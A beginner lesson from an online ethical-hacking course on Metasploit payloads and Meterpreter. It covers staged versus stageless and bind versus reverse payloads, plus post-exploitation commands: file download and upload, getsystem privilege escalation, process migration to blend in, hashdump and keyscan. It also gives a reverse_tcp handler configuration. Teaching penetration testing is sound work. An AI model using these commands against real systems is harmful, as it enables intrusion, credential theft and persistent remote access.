0Pricing
Ethical Hacking Academy · Lesson

Payloads and Meterpreter

Post-exploitation shell.

Payloads and Meterpreter is a free Ethical Hacking Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

What Is a Payload?

A payload is the code that executes on the target after an exploit succeeds. It defines what you can do next, from running a single command to opening a full interactive shell.

Choosing the right payload depends on the target OS, the network setup, and how much access you need.

Staged vs Stageless

Payloads come in two delivery styles:

  • Staged (note the / in meterpreter/reverse_tcp): sends a small stub first, which then downloads the full payload. Smaller initial footprint.
  • Stageless (note the _ in meterpreter_reverse_tcp): the entire payload is delivered at once. More reliable on flaky networks.

Bind vs Reverse Shells

Two connection directions:

  • Bind shell: the target opens a port and waits; you connect to it. Often blocked by firewalls.
  • Reverse shell: the target connects back to you (LHOST/LPORT). This usually slips past outbound-friendly firewalls.

Reverse payloads are the common default for this reason.

Meet Meterpreter

Meterpreter is Metasploit's advanced payload. Unlike a basic command shell, it runs in memory, communicates over an encrypted channel, and offers a rich command set for post-exploitation.

Because it avoids writing to disk, it is stealthier than dropping a separate executable.

Core Meterpreter Commands

Once you have a Meterpreter session, foundational commands orient you on the target.

sysinfo      # OS, architecture, hostname
getuid       # current user context
ps           # running processes
pwd  ls  cd  # filesystem navigation

File Transfer

Meterpreter moves files between your machine and the target with simple commands, useful for grabbing evidence or staging tools in authorized tests.

download C:\\Users\\admin\\secret.txt /tmp/
upload /tmp/tool.exe C:\\Windows\\Temp\\

Dropping to a System Shell

The shell command drops you from Meterpreter into the target's native command interpreter (cmd.exe or /bin/sh) when you need OS-level commands directly.

Type exit to return to the Meterpreter prompt without losing the session.

shell
# C:\> whoami
# exit  -> back to meterpreter

Privilege Escalation

You often land with limited privileges. Meterpreter helps escalate:

  • getsystem attempts known techniques to gain SYSTEM on Windows.
  • The local_exploit_suggester post module recommends local privilege escalation exploits for the host.

Higher privileges unlock credential dumping and deeper access.

getsystem
run post/multi/recon/local_exploit_suggester

Migrating Processes

Your session lives inside a process. If that process is unstable or likely to be killed, migrate into a more stable, long-running process to keep your session alive.

Migrating into a process that matches your privilege level also helps blend in and can shift your user context.

ps
migrate 1340     # migrate into a stable PID

Maintaining Access

Meterpreter includes features for capturing useful data during authorized assessments, such as hashdump to collect password hashes and keyscan tools to demonstrate input capture impact.

Use such capabilities only within the agreed scope, and document everything for the client report.

hashdump
run post/windows/gather/checkvm

Handlers

A reverse payload needs something listening on your side to catch the connection. The multi/handler module is that catcher. You configure it with the same payload, LHOST, and LPORT used to generate the payload.

This is essential when you deliver a msfvenom payload outside the console: start the handler first, then trigger the payload on the target.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.2
set LPORT 4444
exploit -j

Quick Check

Pick the payload that bypasses a restrictive firewall.

Recap

You learned payloads and Meterpreter:

  • Payloads can be staged (/) or stageless (_), and bind or reverse; reverse usually beats firewalls.
  • Meterpreter runs in memory over an encrypted channel with rich commands.
  • Core tasks: sysinfo, getuid, ps, download/upload, shell.
  • Escalate with getsystem and local_exploit_suggester; migrate for stability.
  • Use gathering features only within scope and document everything.

Next: post-exploitation modules, pivoting, and looting.

Frequently asked questions

Is the “Payloads and Meterpreter” lesson free?

Yes — the full text of “Payloads and Meterpreter” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.

What will I learn in “Payloads and Meterpreter”?

Post-exploitation shell. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Ethical Hacking Academy?

No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Payloads and Meterpreter” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Ethical Hacking Academy lesson?

Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Metasploit Architecture
  2. Searching and Using Exploits
  3. Payloads and Meterpreter
  4. Post-Exploitation Modules
← Back to Ethical Hacking Academy